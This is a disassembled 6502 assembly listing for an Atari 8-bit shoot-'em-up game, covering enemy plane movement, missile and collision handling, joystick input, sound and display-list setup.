.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00
L_4DA0 lda BIGPLANE_FIRE_TYPE+4
bne L_4DB9
lda #$20
sta ENEMY_Y+1
sta $0627
lda #$00
sta BIGPLANE_FIRE_TYPE+5
jsr L_4DED
inc BIGPLANE_FIRE_TYPE+4
rts
L_4DB9 cmp #$06
bcc L_4DC0
jmp L_4EA7
L_4DC0 cmp #$03
bpl L_4E29
inc ENEMY_Y+1
lda ENEMY_Y+1
cmp #$30
bne L_4DD1
inc BIGPLANE_FIRE_TYPE+4
L_4DD1 cmp #$6A
bcc L_4DED
ldx ENEMY_Y+1
ldy #$00
tya
L_4DDB sta PMGFX0+3,x
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_4DDB
inc BIGPLANE_FIRE_TYPE+4
jmp L_4EA7
L_4DED lda $0627
bne L_4DF5
jmp L_4EA7
L_4DF5 ldx ENEMY_Y+1
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_4E14
L_4DFF lda L_3CF2+5,y
sta PMGFX0+3,x
lda L_3D0A+7,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_4DFF
jmp L_4EA7
L_4E14 lda L_3D02+2,y
sta PMGFX0+3,x
lda L_3D1A+4,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_4E14
jmp L_4EA7
L_4E29 cmp #$05
bpl L_4E49
lda $0627
beq L_4E43
ldx ENEMY_Y+1
ldy #$00
L_4E37 lda L_3D2A+1,y
sta L_3406+1,x
inx
iny
cpy #$04
bne L_4E37
L_4E43 inc BIGPLANE_FIRE_TYPE+4
jmp L_4EA7
L_4E49 dec ENEMY_Y+1
lda ENEMY_Y+1
cmp #$25
bcs L_4E6E
ldx ENEMY_Y+1
ldy #$00
sty $0627
tya
L_4E5C sta L_33FE+2,x
sta L_3500,x
inx
iny
cpy #$0D
bne L_4E5C
inc BIGPLANE_FIRE_TYPE+4
jmp L_4EA7
L_4E6E lda $0627
bne L_4E76
jmp L_4EA7
L_4E76 ldx ENEMY_Y+1
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_4E95
L_4E80 lda L_3D2A+6,y
sta L_33FE+2,x
lda L_3D4A,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_4E80
jmp L_4EA7
L_4E95 lda L_3D3A+3,y
sta L_33FE+2,x
lda L_3D52+5,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_4E95
L_4EA7 lda BIGPLANE_FIRE_TYPE+4
cmp #$02
bpl L_4EAF
rts
L_4EAF jmp L_4EC0
.byte $4F, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00
L_4EC0 lda BIGPLANE_FIRE_TYPE+5
bne L_4ED9
lda #$20
sta ENEMY_Y+2
sta $06B0
lda #$00
sta BIGPLANE_FIRE_TYPE+6
jsr L_4F0D
inc BIGPLANE_FIRE_TYPE+5
rts
L_4ED9 cmp #$06
bcc L_4EE0
jmp L_4FCA
L_4EE0 cmp #$03
bpl L_4F49
inc ENEMY_Y+2
lda ENEMY_Y+2
cmp #$30
bne L_4EF1
inc BIGPLANE_FIRE_TYPE+5
L_4EF1 cmp #$6A
bcc L_4F0D
ldx ENEMY_Y+2
ldy #$00
tya
L_4EFB sta PMGFX0+3,x
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_4EFB
inc BIGPLANE_FIRE_TYPE+5
jmp L_4FCA
L_4F0D lda $06B0
bne L_4F15
jmp L_4FCA
L_4F15 ldx ENEMY_Y+2
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_4F34
L_4F1F lda L_3CF2+5,y
sta PMGFX0+3,x
lda L_3D0A+7,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_4F1F
jmp L_4FCA
L_4F34 lda L_3D02+2,y
sta PMGFX0+3,x
lda L_3D1A+4,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_4F34
jmp L_4FCA
L_4F49 cmp #$05
bpl L_4F6C
inc BIGPLANE_FIRE_TYPE+5
lda $06B0
bne L_4F58
jmp L_4FCA
L_4F58 ldx ENEMY_Y+2
ldy #$00
L_4F5D lda L_3D2A+1,y
sta L_3406+1,x
inx
iny
cpy #$04
bne L_4F5D
jmp L_4FCA
L_4F6C dec ENEMY_Y+2
lda ENEMY_Y+2
cmp #$25
bcs L_4F91
ldx ENEMY_Y+2
ldy #$00
tya
L_4F7C sta L_33FE+2,x
sta L_3500,x
inx
iny
cpy #$0D
bne L_4F7C
sta $06B0
inc BIGPLANE_FIRE_TYPE+5
jmp L_4FCA
L_4F91 lda $06B0
bne L_4F99
jmp L_4FCA
L_4F99 ldx ENEMY_Y+2
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_4FB8
L_4FA3 lda L_3D2A+6,y
sta L_33FE+2,x
lda L_3D4A,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_4FA3
jmp L_4FCA
L_4FB8 lda L_3D3A+3,y
sta L_33FE+2,x
lda L_3D52+5,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_4FB8
L_4FCA lda BIGPLANE_FIRE_TYPE+5
cmp #$02
bpl L_4FD2
rts
L_4FD2 jmp L_5440
.byte $27, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00
L_4FE0 lda $062E
cmp #$15
bcc L_4FE8
rts
L_4FE8 inc $062E
lda $062E
sta L_9FA5
rts
.byte $2C, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00
L_5000 lda $062E
cmp #$10
bpl L_5008
rts
L_5008 jsr L_4AC0
lda $0653
beq L_5017
lda #$24
sta L_9F85+1
bne L_501C
L_5017 lda #$00
sta L_9F85+1
L_501C lda $0635
beq L_5028
lda #$2A
sta L_9F6D+7
bne L_502D
L_5028 lda #$00
sta L_9F6D+7
L_502D jsr L_1880
lda $0652
beq L_5038
jsr L_413E+2
L_5038 jsr L_6900
lda ENEMY_Y+5
beq L_504B
jsr L_6840
lda $0698
bne L_5000
jmp L_51A4
L_504B lda PLANE_X+4
beq L_5056
jsr L_1B00
jmp L_5162
L_5056 lda $06AB
beq L_508F
jsr L_1800
lda PLANE_X
cmp #$74
bne L_5077
lda #$01
ldx $06BF
cpx #$03
bcc L_5086
jsr L_6700
inc STAGE_NO
jmp L_5008
L_5077 bmi L_5081
lda #$00
dec PLANE_X
jmp L_5086
L_5081 lda #$02
inc PLANE_X
L_5086 sta $060E
jsr L_4B80
jmp L_51A4
L_508F jsr L_52CF+1
lda $0633
beq L_509D
lda STRIG0
bne L_509D
rts
L_509D lda STICK0
cmp #$0B
bne L_50AA
jsr L_5212
jmp L_5113
L_50AA lda STICK0
cmp #$07
bne L_50B7
jsr L_5222
jmp L_5113
L_50B7 lda STICK0
cmp #$0E
bne L_50C4
jsr L_5232
jmp L_5113
L_50C4 lda STICK0
cmp #$0D
bne L_50CE
jsr L_5243
L_50CE lda STICK0
cmp #$06
bne L_50DE
jsr L_5232
jsr L_5222
jmp L_5113
L_50DE lda STICK0
cmp #$0A
bne L_50EE
jsr L_5232
jsr L_5212
jmp L_5113
L_50EE lda STICK0
cmp #$05
bne L_50FE
jsr L_5243
jsr L_5222
jmp L_5113
L_50FE lda STICK0
cmp #$09
bne L_510E
jsr L_5243
jsr L_5212
jmp L_5113
L_510E lda #$01
sta $060E
L_5113 jsr L_4B80
jsr L_526E
jsr L_6900
lda CH
cmp #$21
bne L_5145
lda #$FF
sta CH
lda STAGE_NO+1
bne L_5145
ldx $062A
bmi L_5145
lda #$00
sta L_9F75+7,x
dec $062A
jsr L_6C79+7
lda #$FF
sta CH
jmp L_5162
L_5145 lda STRIG0
bne L_5162
lda ENEMY_MOV_TYPE+5
bne L_5162
lda #$4E
sta AUDC4
lda #$01
sta AUDF4
sta $0630
sta $062F
jsr L_5253
L_5162 lda CH
cmp #$0A
bne L_516C
jsr L_6C00
L_516C lda CH
cmp #$3A
bne L_5195
lda $0653
beq L_5190
lda ENEMY_TYPE
cmp #$06
bne L_5181
beq L_5185
L_5181 cmp #$07
bne L_518D
L_5185 lda #$28
sta PCOLR2
jsr L_53C8
L_518D jsr L_6000
L_5190 lda #$FF
sta CH
L_5195 inc $0683
lda $0683
cmp #$C4
bcc L_51A4
lda #$30
sta $0683
L_51A4 jsr L_6A80
jsr L_6090
lda $0663
cmp #$02
bcc L_51B4
jsr L_5D60
L_51B4 jsr L_6B80
sta HITCLR
jsr L_6D3F+1
jsr L_5420
jsr L_1C00
jsr L_526E
lda STAGE_NO+1
beq L_51D1
jsr L_6E50
jmp L_51D4
L_51D1 jsr L_53DF+1
L_51D4 lda $062F
beq L_5206
lda $0630
clc
adc #$08
sta $0630
sta AUDF4
cmp #$28
bcc L_5206
inc $062F
lda $062F
cmp $0656
beq L_51FE
lda #$01
sta $0630
sta AUDF4
bne L_5206
L_51FE lda #$00
sta AUDC4
sta $062F
L_5206 jmp L_502D
jsr L_6700
inc $0632
jmp L_5008
L_5212 lda PLANE_X
cmp #$2B
bcc L_5221
lda #$00
sta $060E
dec PLANE_X
L_5221 rts
L_5222 lda PLANE_X
cmp #$C8
bcs L_5231
lda #$02
sta $060E
inc PLANE_X
L_5231 rts
L_5232 lda PLANE_X+2
cmp STAGE_NO+2
bmi L_523D
dec PLANE_X+2
L_523D lda #$01
sta $060E
rts
L_5243 lda PLANE_X+2
cmp #$3A
bcs L_524D
inc PLANE_X+2
L_524D lda #$01
sta $060E
rts
L_5253 inc ENEMY_MOV_TYPE+5
ldx PLANE_X
inx
stx HPOSM2
inx
inx
inx
inx
stx HPOSM3
lda PLANE_X+2
clc
adc #$70
sta ENEMY_MOV_TYPE+3
rts
L_526E lda ENEMY_MOV_TYPE+5
bne L_5274
rts
L_5274 ldx ENEMY_MOV_TYPE+3
ldy #$00
L_5279 lda MISSILE_GFX,x
and #$AF
sta MISSILE_GFX,x
dex
iny
cpy #$0A
bne L_5279
inx
inx
inx
inx
inx
inx
inx
cpx #$30
bcc L_52BB
stx ENEMY_MOV_TYPE+3
ldy #$00
L_5297 lda MISSILE_GFX,x
ora #$50
sta MISSILE_GFX,x
dex
iny
cpy #$04
bne L_5297
lda $0635
beq L_52BA
dex
dex
L_52AC lda MISSILE_GFX,x
ora #$50
sta MISSILE_GFX,x
dex
iny
cpy #$08
bne L_52AC
L_52BA rts
L_52BB lda #$00
sta ENEMY_MOV_TYPE+5
L_52C0 rts
.byte $00, $00, $8D, $1B, $06, $60, $00, $00
.byte $00
cpy #$08
bne L_52C0
rts
L_52CF lda #$AD
sta TRAMSZ,x
beq L_52D6
rts
L_52D6 lda M0PL
and #$01
beq L_52EF
ldy $061E
bpl L_52EF
lda #$FE
sta STAGE_NO+5
jsr L_5364
sta $0620
beq L_533E
L_52EF lda M1PL
and #$01
beq L_5308
ldy $061F
bpl L_5308
lda #$FB
sta STAGE_NO+5
jsr L_5364
sta $0621
beq L_533E
L_5308 lda P0PL
and #$0C
bne L_5310
rts
L_5310 lda ENEMY_Y
bpl L_533D
ldx $0634
cpx #$01
bmi L_533E
stx $0652
inx
stx $0634
lda PCOLR2
cmp #$26
bne L_532E
sta $0650
rts
L_532E cmp #$F2
bne L_5336
sta $0651
rts
L_5336 cmp #$96
bne L_533D
sta $0635
L_533D rts
L_533E lda STAGE_NO+1
beq L_534B
lda $0634
cmp #$FF
beq L_534B
rts
L_534B lda #$00
sta ENEMY_Y+6
sta $0635
sta $0653
inc ENEMY_Y+5
lda #$02
sta $062F
lda #$03
sta $0656
rts
L_5364 ldx #$00
L_5366 lda MISSILE_GFX,y
and STAGE_NO+5
L_536C sta MISSILE_GFX,y
iny
inx
cpx #$03
bne L_5366
lda #$00
rts
brk
bne L_536C
lda #$00
rts
bne L_5380
L_5380 ldx #$00
txa
L_5383 sta AUDC1,x
inx
inx
cpx #$08
bmi L_5383
ldx #$00
L_538E lda L_435A,x
sta L_9C1D+3,x
inx
cpx #$20
bne L_538E
lda #$00
tax
L_539C sta L_9C3D+3,x
sta L_9D3D+3,x
sta L_9E3D+3,x
sta L_9F3D+3,x
inx
bne L_539C
lda #$00
sta DINDEX
lda #$40
sta SAVMSC
lda #$9C
L_53B5 sta SAVMSC+1
lda #$20
sta SDLSTL
lda #$9C
sta SDLSTH
lda #$E0
sta CHBAS
rts
brk
L_53C8 ldx #$00
txa
L_53CB sta PMGFX0+3,x
sta PMGFX1,x
inx
bne L_53CB
lda #$FF
sta ENEMY_TYPE
lda #$00
sta $066A
rts
L_53DF ora L_B6A8+5
asl PTABW
bpl L_53B5+1
and $D0
rol L_ABA8+5
asl $D0
and #$AD
ora (TRAMSZ),y
cmp #$22
bcc L_5417
ldx #$01
stx STAGE_NO+1
lda $06BB
bne L_5402
stx $06BB
L_5402 dex
stx STAGE_NO+4
lda #$20
sta STAGE_NO+2
rts
inc STAGE_NO+3
lda STAGE_NO+3
bne L_5417
inc STAGE_NO+4
L_5417 rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_5420 tya
pha
txa
pha
ldy #$00
sty ATRACT
L_5428 ldx #$10
L_542A inx
bne L_542A
iny
L_542E cpy #$0E
bne L_5428
pla
tax
pla
tay
rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00
L_5440 lda BIGPLANE_FIRE_TYPE+6
bne L_5454
lda #$20
sta ENEMY_Y+3
sta $06B1
jsr L_5486
inc BIGPLANE_FIRE_TYPE+6
rts
L_5454 cmp #$06
bcc L_545B
jmp L_5543
L_545B cmp #$03
bpl L_54BC
inc ENEMY_Y+3
lda ENEMY_Y+3
cmp #$30
bne L_546C
inc BIGPLANE_FIRE_TYPE+6
L_546C cmp #$6A
bcc L_5486
ldx ENEMY_Y+3
ldy #$00
tya
L_5476 sta PMGFX0+3,x
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5476
inc BIGPLANE_FIRE_TYPE+6
rts
L_5486 lda $06B1
bne L_548C
rts
L_548C ldx ENEMY_Y+3
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_54A9
L_5496 lda L_3CF2+5,y
sta PMGFX0+3,x
lda L_3D0A+7,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5496
rts
L_54A9 lda L_3D02+2,y
sta PMGFX0+3,x
lda L_3D1A+4,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_54A9
rts
L_54BC cmp #$05
bpl L_54DD
inc BIGPLANE_FIRE_TYPE+6
lda $06B1
bne L_54C9
rts
L_54C9 ldx ENEMY_Y+3
ldy #$00
L_54CE lda L_3D2A+1,y
sta L_3406+1,x
inx
iny
cpy #$04
bne L_54CE
jmp L_5543
L_54DD dec ENEMY_Y+3
lda ENEMY_Y+3
cmp #$25
bcs L_550C
ldx ENEMY_Y+3
ldy #$00
tya
L_54ED sta L_33FE+2,x
sta L_3500,x
inx
iny
cpy #$0D
bne L_54ED
inc BIGPLANE_FIRE_TYPE+6
lda #$00
sta ENEMY_MOV_TYPE
nop
nop
sta ENEMY_TYPE
lda #$11
sta L_542E+1
rts
L_550C lda $06B1
bne L_5512
rts
L_5512 ldx ENEMY_Y+3
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_5531
L_551C lda L_3D2A+6,y
sta L_33FE+2,x
lda L_3D4A,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_551C
jmp L_5543
L_5531 lda L_3D3A+3,y
sta L_33FE+2,x
lda L_3D52+5,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_5531
L_5543 rts
brk
ldx #$00
stx $0621
lda #$2F
sta L_9CE5+4,x
inc $0646
rts
lda L_3976+4
and #$01
beq L_5577+1
ldx $0621
cpx #$0E
L_555F beq L_5581
bcc L_55B7+2
ldx #$00
L_5565 lda L_5641,x
sta L_3401+2,x
lda #$3F
sta L_3417,x
inx
cpx #$0E
bne L_5565
ldx #$00
L_5577 lda L_5649+6,x
sta L_34A4,x
jsr L_4300
inx
L_5581 cpx #$0C
bne L_5577
ldx #$00
L_5587 lda $069C,x
sta L_34BD+1,x
jsr L_4300
inx
cpx #$04
bne L_5587
ldx #$00
L_5597 lda L_5659+2,x
sta L_351B+1,x
jsr L_4300
L_55A0 inx
cpx #$05
bne L_5597
ldx #$00
L_55A7 lda $0600,x
sta L_3532+1,x
jsr L_4300
inx
cpx #$06
bne L_55A7
lda #$10
L_55B7 sta L_3537+2
ldx #$00
L_55BC lda L_5659+7,x
sta BIG_PLANE_GFX2+7,x
jsr L_4300
inx
cpx #$0B
bne L_55BC
ldx #$00
L_55CC lda $0606,x
sta L_35A5+6,x
jsr L_4300
inx
cpx #$06
bne L_55CC
lda #$10
sta L_35AD+4
ldx #$00
L_55E1 lda L_5671+4,x
sta L_3605+7,x
jsr L_4300
inx
cpx #$0D
bne L_55E1
lda $069A
sta L_3625+3
lda $069B
sta L_3625+4
ldx #$00
L_55FD lda L_5669+2,x
sta L_3720+5,x
jsr L_4300
inx
cpx #$0A
bne L_55FD
L_560B jsr L_4C30
L_560E jsr L_4C5A
ldx #$00
L_5613 jsr L_561C
inx
cpx #$10
bne L_5613
rts
L_561C txa
pha
lda COLOR0
cmp #$7A
beq L_562D
lda #$7A
sta COLOR0
jmp L_5632
L_562D lda #$3A
sta COLOR0
L_5632 ldx #$00
ldy #$00
L_5636 inx
bne L_5636
iny
cpy #$30
bne L_5636
pla
tax
rts
L_5641 .byte $30, $29, $2C, $2F, $34, $07, $33, $00
L_5649 .byte $32, $25, $30, $2F, $32, $34, $21, $29
.byte $32, $23, $32, $21, $26, $34, $00, $28
L_5659 .byte $29, $34, $33, $23, $2F, $32, $25, $34
.byte $2F, $24, $21, $39, $07, $33, $00, $34
L_5669 .byte $2F, $30, $27, $21, $2D, $25, $00, $00
L_5671 .byte $2F, $36, $25, $32, $33, $34, $21, $27
.byte $25, $00, $32, $25, $21, $23, $28, $25
.byte $24, $00, $24, $00, $06, $8D, $29, $36
ldx #$00
jsr L_5692+2
inx
L_568F cpx #$A9
brk
L_5692 sta NMIEN
sei
lda $063A
sta VVBLKI
lda $063B
sta VVBLKI+1
cli
lda #$40
sta NMIEN
ldx #$00
txa
L_56AB sta HPOSP0,x
inx
cpx #$08
bne L_56AB
ldx #$00
txa
L_56B6 sta AUDC1,x
inx
inx
cpx #$08
bmi L_56B6
ldx #$00
L_56C1 lda L_5709,x
sta L_2FFC+4,x
inx
cpx #$20
bne L_56C1
lda #$00
tax
L_56CF sta L_33FE+2,x
sta L_3500,x
sta PMGFX0+3,x
sta PMGFX1,x
inx
bne L_56CF
lda #$00
sta DINDEX
lda #$00
sta SAVMSC
lda #$34
sta SAVMSC+1
lda #$00
sta SDLSTL
lda #$30
sta SDLSTH
lda #$78
sta COLOR2
lda #$00
sta COLOR4
lda #$0F
sta COLOR1
lda #$E0
sta CHBAS
rts
L_5709 .byte $70 ; DL 8 scanlines
.byte $70 ; DL 8 scanlines
.byte $70 ; DL 8 scanlines
.byte $46 ; DL LMS Antic Mode 6
.word L_33FE+2
.byte $06 ; DL Antic Mode 6
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $02 ; DL Antic Mode 2
.byte $07 ; DL Antic Mode 7
.byte $07 ; DL Antic Mode 7
.byte $07 ; DL Antic Mode 7
.byte $07 ; DL Antic Mode 7
.byte $41 ; DL JMP
.word L_2FFC+4
.byte $00, $02, $D0, $08
lda #$19
sta L_9FA5
dec L_9F9D+7
lda L_9F9D+7
cmp #$10
bne L_5753+1
lda L_9FA5
cmp #$10
bne L_5753+1
lda L_9FA5+1
cmp #$10
bne L_5753+1
lda #$10
sta L_9F9D+7
L_574F lda #$AD
asl TRAMSZ,x
L_5753 bne L_57A5
inc $066F
inc $066F
lda $066F
cmp #$20
L_5760 bcc L_5767
lda #$00
sta $066F
L_5767 clc
adc #$70
sta ENEMY_X
sta HPOSP2
sta HPOSP3
sta BIGPLANE_FIRE_TYPE+1
sta BIGPLANE_FIRE_TYPE+2
lda #$0F
sta PCOLR1
sta PCOLR3
lda #$82
sta PCOLR0
sta PCOLR2
lda #$20
sta ENEMY_MOV_TYPE+7
sta $0624
lda #$00
sta BIGPLANE_FIRE_TYPE
sta ENEMY_MOV_TYPE+1
sta BIGPLANE_FIRE_TYPE+3
lda #$0E
sta L_542E+1
inc ENEMY_MOV_TYPE
rts
L_57A5 inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$01
bcs L_57B8
lda ENEMY_MOV_TYPE+7
cmp #$69
bcc L_57CD
rts
rts
L_57B8 lda #$00
sta ENEMY_MOV_TYPE+1
lda BIGPLANE_FIRE_TYPE
bne L_57C8
inc BIGPLANE_FIRE_TYPE
jmp L_57CD
L_57C8 lda #$00
sta BIGPLANE_FIRE_TYPE
L_57CD lda ENEMY_MOV_TYPE
cmp #$03
bcc L_57D7
jmp L_582A
L_57D7 inc ENEMY_MOV_TYPE+7
lda ENEMY_MOV_TYPE+7
cmp #$30
bne L_57E4
inc ENEMY_MOV_TYPE
L_57E4 cmp #$6A
bcc L_57EE
inc ENEMY_MOV_TYPE
jmp L_588B
L_57EE lda $0624
bne L_57F6
jmp L_588B
L_57F6 ldx ENEMY_MOV_TYPE+7
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_5815
L_5800 lda L_3CF2+5,y
sta L_33FE+2,x
lda L_3D0A+7,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_5800
jmp L_588B
L_5815 lda L_3D02+2,y
sta L_33FE+2,x
lda L_3D1A+4,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_5815
jmp L_588B
L_582A inc BIGPLANE_FIRE_TYPE+1
inc BIGPLANE_FIRE_TYPE+2
lda BIGPLANE_FIRE_TYPE+2
cmp #$E0
bcc L_5852
ldx ENEMY_MOV_TYPE+7
ldy #$00
tya
L_583D sta L_33FE+2,x
sta L_3500,x
inx
iny
cpy #$0D
bne L_583D
sta $0624
inc ENEMY_MOV_TYPE
jmp L_588B
L_5852 lda $0624
bne L_585A
jmp L_588B
L_585A ldx ENEMY_MOV_TYPE+7
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_5879
L_5864 lda L_3D72,y
sta L_33FE+2,x
lda L_3D9A,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_5864
jmp L_588B
L_5879 lda L_3D72,y
sta L_33FE+2,x
lda L_3DA2+6,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_5879
L_588B lda ENEMY_MOV_TYPE
cmp #$02
bpl L_5893
rts
L_5893 jmp L_58B0
brk
asl FKDEF
cmp #$04
bne L_58BA+2
ldx #$00
lda #$00
sta L_9C65+3,x
sta L_9C1D,x
lda #$06
sta L_9C8D+3,x
sta L_9C45,x
txa
L_58B0 lda BIGPLANE_FIRE_TYPE+3
bne L_58C9
lda #$20
sta ENEMY_Y
L_58BA sta $0625
lda #$00
sta BIGPLANE_FIRE_TYPE+4
jsr L_58F2
inc BIGPLANE_FIRE_TYPE+3
rts
L_58C9 lda $0634
beq L_58D1
jmp L_59F1
L_58D1 lda BIGPLANE_FIRE_TYPE+3
cmp #$03
bcc L_58DB
jmp L_592E
L_58DB inc ENEMY_Y
lda ENEMY_Y
cmp #$30
bne L_58E8
inc BIGPLANE_FIRE_TYPE+3
L_58E8 cmp #$5A
bcc L_58F2
inc BIGPLANE_FIRE_TYPE+3
jmp L_59F1
L_58F2 lda $0625
bne L_58FA
jmp L_59F1
L_58FA ldx ENEMY_Y
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_5919
L_5904 lda L_3CF2+5,y
sta PMGFX0+3,x
lda L_3D0A+7,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5904
jmp L_59F1
L_5919 lda L_3D02+2,y
sta PMGFX0+3,x
lda L_3D1A+4,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5919
jmp L_59F1
L_592E cmp #$03
bne L_5987
dec ENEMY_X
lda ENEMY_X
sta HPOSP2
sta HPOSP3
cmp #$40
bcs L_594B
jsr L_59FC
inc BIGPLANE_FIRE_TYPE+3
jmp L_59F1
L_594B lda $0625
bne L_5953
jmp L_59F1
L_5953 ldx ENEMY_Y
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_5972
L_595D lda L_3D62+2,y
sta PMGFX0+3,x
lda L_3D7A+6,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_595D
jmp L_59F1
L_5972 lda L_3D62+2,y
sta PMGFX0+3,x
lda L_3D8A+3,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5972
jmp L_59F1
L_5987 inc ENEMY_X
lda ENEMY_X
sta HPOSP2
sta HPOSP3
inc ENEMY_Y
lda ENEMY_Y
cmp #$B0
bcc L_59B5
lda #$00
sta ENEMY_MOV_TYPE
sta $0625
lda #$11
sta L_542E+1
lda #$00
sta ENEMY_TYPE
jsr L_59FC
jmp L_59F1
L_59B5 lda $0625
bne L_59BD
jmp L_59F1
L_59BD ldx ENEMY_Y
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_59DC
L_59C7 lda L_3D72,y
sta PMGFX0+3,x
lda L_3D9A,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_59C7
jmp L_59F1
L_59DC lda L_3D72,y
sta PMGFX0+3,x
lda L_3DA2+6,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_59DC
jmp L_59F1
L_59F1 lda BIGPLANE_FIRE_TYPE+3
cmp #$02
bpl L_59F9
rts
L_59F9 jmp L_5A1E+2
L_59FC ldx ENEMY_Y
ldy #$00
tya
L_5A02 sta PMGFX0+3,x
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5A02
rts
brk
.byte $D2
lda PLANE_X+3
cmp #$02
bne L_5A3D
jsr L_55A0
lda PLANE_X
L_5A1E sta L_AD50+2
dey
asl $D0
.byte $14
lda #$20
sta ENEMY_Y+1
sta $0627
lda #$00
sta BIGPLANE_FIRE_TYPE+5
jsr L_5A57
inc BIGPLANE_FIRE_TYPE+4
rts
cmp #$03
bcc L_5A40
L_5A3D jmp L_5A93
L_5A40 inc ENEMY_Y+1
lda ENEMY_Y+1
cmp #$30
bne L_5A4D
inc BIGPLANE_FIRE_TYPE+4
L_5A4D cmp #$4A
bcc L_5A57
inc BIGPLANE_FIRE_TYPE+4
jmp L_5AEE
L_5A57 lda $0627
bne L_5A5F
jmp L_5AEE
L_5A5F ldx ENEMY_Y+1
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_5A7E
L_5A69 lda L_3CF2+5,y
sta L_33FE+2,x
lda L_3D0A+7,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_5A69
jmp L_5AEE
L_5A7E lda L_3D02+2,y
sta L_33FE+2,x
lda L_3D1A+4,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_5A7E
jmp L_5AEE
L_5A93 lda BIGPLANE_FIRE_TYPE+1
cmp #$E0
bcc L_5AB5
ldx ENEMY_Y+1
ldy #$00
sty $0627
tya
L_5AA3 sta L_33FE+2,x
sta L_3500,x
inx
iny
cpy #$0D
bne L_5AA3
inc BIGPLANE_FIRE_TYPE+4
jmp L_5AEE
L_5AB5 lda $0627
bne L_5ABD
jmp L_5AEE
L_5ABD ldx ENEMY_Y+1
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_5ADC
L_5AC7 lda L_3D72,y
sta L_33FE+2,x
lda L_3D9A,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_5AC7
jmp L_5AEE
L_5ADC lda L_3D72,y
sta L_33FE+2,x
lda L_3DA2+6,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_5ADC
L_5AEE rts
lda BIGPLANE_FIRE_TYPE+4
cmp #$02
bpl L_5AF7
rts
L_5AF7 jmp L_4EC0
brk
bne L_5B0A
lda L_6800,y
L_5B00 ldx PLANE_X
lda ENEMY_MOV_TYPE+3
cmp #$9C
bne L_5B1E
L_5B0A cpx #$70
bne L_5B1E
lda #$0A
ldx $060E
bne L_5B16
rts
L_5B16 dec $060E
dex
sta L_9F65+7,x
rts
L_5B1E jsr L_5B2B
ldx $060E
sta L_9F65+7,x
inc $060E
rts
L_5B2B lda ENEMY_MOV_TYPE+3
cmp #$1C
bne L_5B35
jmp L_5B5B
L_5B35 cmp #$3C
bne L_5B3C
jmp L_5B81
L_5B3C cmp #$5C
bne L_5B43
jmp L_5BA7
L_5B43 cmp #$7C
bne L_5B4A
jmp L_5BCD
L_5B4A cpx #$50
bne L_5B51
lda #$39
rts
L_5B51 cpx #$60
bne L_5B58
lda #$3A
rts
L_5B58 lda #$0E
rts
L_5B5B cpx #$50
bne L_5B62
lda #$21
rts
L_5B62 cpx #$60
bne L_5B69
lda #$22
rts
L_5B69 cpx #$70
bne L_5B70
lda #$23
rts
L_5B70 cpx #$80
bne L_5B77
lda #$24
rts
L_5B77 cpx #$90
bne L_5B7E
lda #$25
rts
L_5B7E lda #$26
rts
L_5B81 cpx #$50
bne L_5B88
lda #$27
rts
L_5B88 cpx #$60
bne L_5B8F
lda #$28
rts
L_5B8F cpx #$70
bne L_5B96
lda #$29
rts
L_5B96 cpx #$80
